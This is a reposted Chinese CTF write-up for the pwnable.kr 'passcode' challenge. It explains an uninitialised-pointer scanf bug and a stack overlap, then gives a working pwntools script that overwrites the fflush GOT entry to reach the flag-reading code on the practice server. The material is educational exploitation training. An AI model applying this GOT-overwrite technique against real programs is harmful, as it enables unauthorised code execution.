ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

【pwnable.kr】passcode

2019-08-26 21:38:45  阅读:343  来源: 互联网

标签:pwnable kr 地址 ssh passcode got fflush 输入


题目描述

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

思路

这道题我参考了大佬的才最终做出来。首先在直接运行文件经常出现segmentation fault。通过题目的提示编译了一次源代码,发现scanf的第二个参数没有加取地址符&,从而输入的内容不会存到本以为会存到的位置,而是将那个位置中的内容作为存储的地址。既然输入的passcode并不会真的用于之后的比较,那么无法通过构造passcode来达到目的,从而想到利用第一次输入的name。由于welcome函数和login函数连续被调用,且没有开启aslr,所以它们的ebp是相同的,它们所使用的栈空间有重合的部分。通过查看汇编可以计算出name的最后4位会与passcode1的地址重合。从而passcode1的地址和内容都可控,达到一次任意地址写的目的。
但是由于只有一次写的机会,所以不能构造两个passcode,于是想到覆写got表。只要将其中一个会被调用的got表的地址改为读flag的地址就可以了。
至于最后的实现,有三种方式:

  • 通过pwntools的ssh来实现
    exp如下:
from pwn import *
debug = 0
binary = ELF("./passcode")
fflush_got = binary.got["fflush"]
if debug:
    context.log_level = 'debug'
    p = process("./passcode")
    gdb.attach(p,'b* 0x8048604')
else:
    s = ssh(host='pwnable.kr',user='passcode',port=2222,password='guest')
    p = s.process('./passcode')
p.recvuntil("enter you name : ")
p.sendline('a'*96+p32(fflush_got))
p.recvuntil('enter passcode1 : ')
p.sendline(str(int(0x80485E3)))
p.interactive()
  • 直接ssh到pwntools用python -c来实现,虽然有多次输入,但是只需要将多次输入一起传进去就可以了
  • 将脚本放在目标主机/tmp文件夹下运行

一些小tip

  • 在pwndbg插件下直接输入got显示got表
  • x/10x addr显示16进制

一些问题

  • 在通过pwntools与gdb调试的时候,在第一个断点直接c或者n指令会卡住
    • 有时候切换页面再切换回来这个问题就解决了,很神奇,如有大神解答感激不尽。

标签:pwnable,kr,地址,ssh,passcode,got,fflush,输入
来源: https://blog.csdn.net/qq_33892117/article/details/100086238

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有